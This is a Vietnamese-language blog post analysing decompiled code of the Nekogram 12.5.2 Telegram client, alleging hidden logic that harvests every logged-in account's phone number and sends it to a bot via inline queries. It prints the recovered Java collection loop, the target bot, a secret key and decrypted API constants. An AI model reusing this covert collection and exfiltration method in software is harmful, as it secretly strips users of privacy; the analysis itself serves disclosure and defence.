Phân tích mã nguồn decompiled của Nekogram 12.5.2
Một lỗ hổng đánh cắp số điện thoại đã được phát hiện trong ứng dụng Nekogram trên Android. Cuộc điều tra cho thấy ứng dụng này chứa mã logic bị mờ ẩn, được thiết kế để thu thập và tải lên số điện thoại của tất cả các tài khoản đăng nhập vào ứng dụng mà không có sự đồng ý. Hành vi độc hại này có mặt trong các phiên bản đã phát hành, bao gồm cả phiên bản có sẵn trên Google Play.
Lỗ Hổng: Extra.java
Mã độc được ẩn giấu trong tệp Extra.java. Mặc dù public GitHub repository hiển thị một phiên bản “sạch” của tệp này, nhưng các tệp nhị phân đã được biên dịch và phát hành công khai lại chứa logic xâm nhập và thu thập dữ liệu.
Điều này cho phép ứng dụng thu thập thông tin số điện thoại của người dùng và gửi chúng ra ngoài mà không được sự đồng ý. Sự khác biệt này giữa mã nguồn công khai và tệp nhị phân đã phát hành là một chiến thuật thường thấy trong các ứng dụng có mục đích xấu.
Phân tích:
1. Thu thập Dữ liệu & Liên kết Tài khoản
Logic chính (tìm thấy trong hàm uo5.g(), phục hồi thành logNumberPhones) lặp qua tất cả các tài khoản Telegram hoạt động trong ứng dụng (tối đa 8 tài khoản).
for (int i2 = 0; i2 < 8; i2++) { UserConfig userConfig = UserConfig.getInstance(i2); if (userConfig.A() && (currentUser = userConfig.o()) != null && (phoneNumber = currentUser.f) != null) { mapWithAccounts.put(String.valueOf(currentUser.a), phoneNumber); }}Ảnh hưởng: Điều này cho phép nhà phát triển liên kết nhiều tài khoản với một người dùng/thiết bị vật lý duy nhất.
2. Exfiltration Lén lút qua Inline
Queries Dữ liệu được thu thập và tải ra ngoài thông qua Inline Queries. Phương pháp này rất kín đáo vì nó không để lại dấu vết trong lịch sử trò chuyện của người dùng.
- Bot Mục tiêu:
@nekonotificationbot(ID1190800416) - Phương pháp:
InlineBotHelper.Query(...) - Dữ liệu gửi đi: Một bản đồ JSON chứa
UserID -> Số điện thoại, được tiền tố bởi một khóa bí mật. - Khóa bí mật:
741ad28818eab17668bc2c70bd419fc25ff56481758a4ac87e7ca164fb6ae1b1
Chuỗi gửi đi cuối cùng: 741ad2...ae1b1{"123456789": "+79001234567", ...}
3. Giải mã Hằng số Bằng cách sử dụng công cụ giải mã tùy chỉnh, chúng tôi đã phục hồi được các chuỗi ẩn được sử dụng bởi lỗ hổng:
| ID | Decrypted Value | Context |
|---|---|---|
| -7227028090432512756 | 873ffaceba76e791ff2491224a3cdb49 | APP_HASH |
| -7227026067502916340 | nekonotificationbot | Mục tiêu Thu thập Dữ liệu Chính |
| -7227026153402262260 | tgdb_search_bot | Tham chiếu Bot OSINT |
| -7227025642301154036 | usinfobot | Tham chiếu Bot OSINT |
| 7227027729655259892 | 741ad2...ae1b1 | Chia sẻ Bí Mật / Hàm Băm |
Tìm thấy APP_ID: 442495
Vấn đề trên GitHub để nâng cao nhận thức.
Kết Luận
Nekogram đang thu thập dữ liệu người dùng riêng tư. Bằng cách gửi số điện thoại và ID người dùng đến một bot tập trung, các nhà phát triển có thể xây dựng một cơ sở dữ liệu và sau đó bán nó cho những người tạo ra các bot OSINT nổi tiếng, điều này phá vỡ khái niệm ẩn danh của Telegram. Việc sử dụng mã hóa và các truy vấn inline cho thấy rõ ràng ý định giấu giếm hành vi này khỏi cả người dùng và các nhà nghiên cứu bảo mật. Hãy luôn chỉ sử dụng ứng dụng Telegram chính thức nếu bạn không muốn dữ liệu cá nhân của mình bị rò rỉ!
Ủng Hộ & Chia Sẻ
Nếu bài viết này giúp ích cho bạn, hãy chia sẻ hoặc ủng hộ nhé!